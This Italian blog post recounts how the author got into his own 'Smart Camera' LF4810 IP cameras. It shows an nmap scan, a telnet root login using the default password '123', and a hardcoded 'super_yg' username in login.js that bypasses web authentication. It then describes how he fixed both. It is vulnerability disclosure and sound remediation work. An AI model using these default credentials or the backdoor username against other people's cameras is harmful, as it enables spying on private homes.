Telecamere Ip con accesso "nascosto"

Telecamere Ip con accesso "nascosto"

Storia triste di un auto-hacking obbligato che mi ha fatto scoprire come la nostra privacy è realmente messa a rischi.

Storia

Ho acquistato dal mercatino/fiera del Radioamatore di Fasano quattro telecamere IP. La scatola riporta "Smart Camera" LF4810.

Ne ho montata una e testata in tutte le sue funzionalità per oltre un mese. Chiaramente la manualistica scarsissima, come da tradizione in questi prodotti cinesi di costo molto concorrenziale, consiste in un "pieghevole" di 4 facciate.
Chiaramente non erano documentate le impostazioni necessarie per attivare i protocolli ONVIF e RTSP che mi sono indispensabili per l'uso che ne devo fare. Nonostante questa scarsa documentazione dopo l'installazione base fatta con l'apposita app:

tutto sembrava corretto. Chiaramente la prima azione che ho compiuto è stata quella di cambiare la password che di default è "123".
Subito dopo ho ricavato l'ip che il mio DHCP le aveva assegnato, sono entrato da interfaccia web (nome utente: admin, password: quella che avevo sostituito a quella di default) e mi sono ritrovato davanti tutte le impostazioni che speravo avesse. Un ottimo prodotto ad un prezzaccio (mi sono detto).

Il problema

Dopo questo periodo di test sono passato a replicare la stessa configurazione sulle altre telecamere. Ho riscontrato subito un problema bloccante: nonostante l'app funzionasse perfettamente l'accesso da interfaccia web mi diceva "nome utente o password errata". Chiaramente sono partite le ricerche su internet che però non hanno dato nessun risultato sullo specifico problema. Ho scritto al produttore della app e al venditore, esponendo i dettagli tecnici e ciè che la versione del firmware delle telecamere che mi davano problemi di accesso risultava vecchio e la app non mi consentiva di aggiornarlo:

Non mi hanno risposto.

La scoperta

"E allora io che faccio ?" Sono passato alle maniere forti... ho hackerato le mie telecamere.
1) Ho fatto una scansione delle porte del dispositivo:

$ nmap -A 192.168.1.141

Mi ha restituito, tra le altre la "interessantissima" (per l'obiettivo che mi ero prefissato) porta 23 : telnet.

2) Ho provato una connessione telnet sulla telecamera, nome utente "root" password: 123 (quella di default del dispositivo e che però avevo cambiato da app, cambiamento che non riguarda, purtroppo per la nostra privacy, la password di root che rimane quella di default, tranne intervento diretto):

~$ telnet 192.168.1.141
Trying 192.168.1.141...
Connected to 192.168.1.141.
Escape character is '^]'.
192.168.1.203 login: root
Password: 


BusyBox v1.19.3 (2018-09-10 16:58:41 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.


[~]# 

Come si dice in questi casi "SONO DENTRO".

3) Vado a guardare il codice dell'applicazione web, nello specifico "login.js" e dentro ci trovo questa "opera d'arte":


...
if($("#UserName").val() == "super_yg")
                {
                        jumpPage();
                        return ;
                }
...

Cosa significa ? Che basta inserire come nome utente "super_yg" per saltare i controlli di autenticazione ed entrare come super utente amministratore nel pannello di controllo web, accedere alle immagini e a tutte le impostazioni della telecamera.

Rimedi

1) Ho cambiato la password dell'utente root da telnet:

[~]# passwd
Changing password for root
New password: 
Retype password: 
Password for root changed by root

2) Ho rimosso il pezzo di codice mostrato precedentemente che consentiva l'accesso all'utente "super_yg"

Note

- Sito con suggerimenti tecnici:

https://sec.vnpt.vn/2018/12/tan-man-ve-1-chiec-ip-camera-nao-do/

- Il modello di telecamera si ottiene lanciando il comando:

[/app]# ./myinfo.sh model

- I firmware si trovano qui :

http://update.ichano.cn:94/avsversion/yangge/

Quest'opera è distribuita con Licenza Creative Commons Attribuzione 4.0 Internazionale (CC BY 4.0) - Condividi allo stesso modo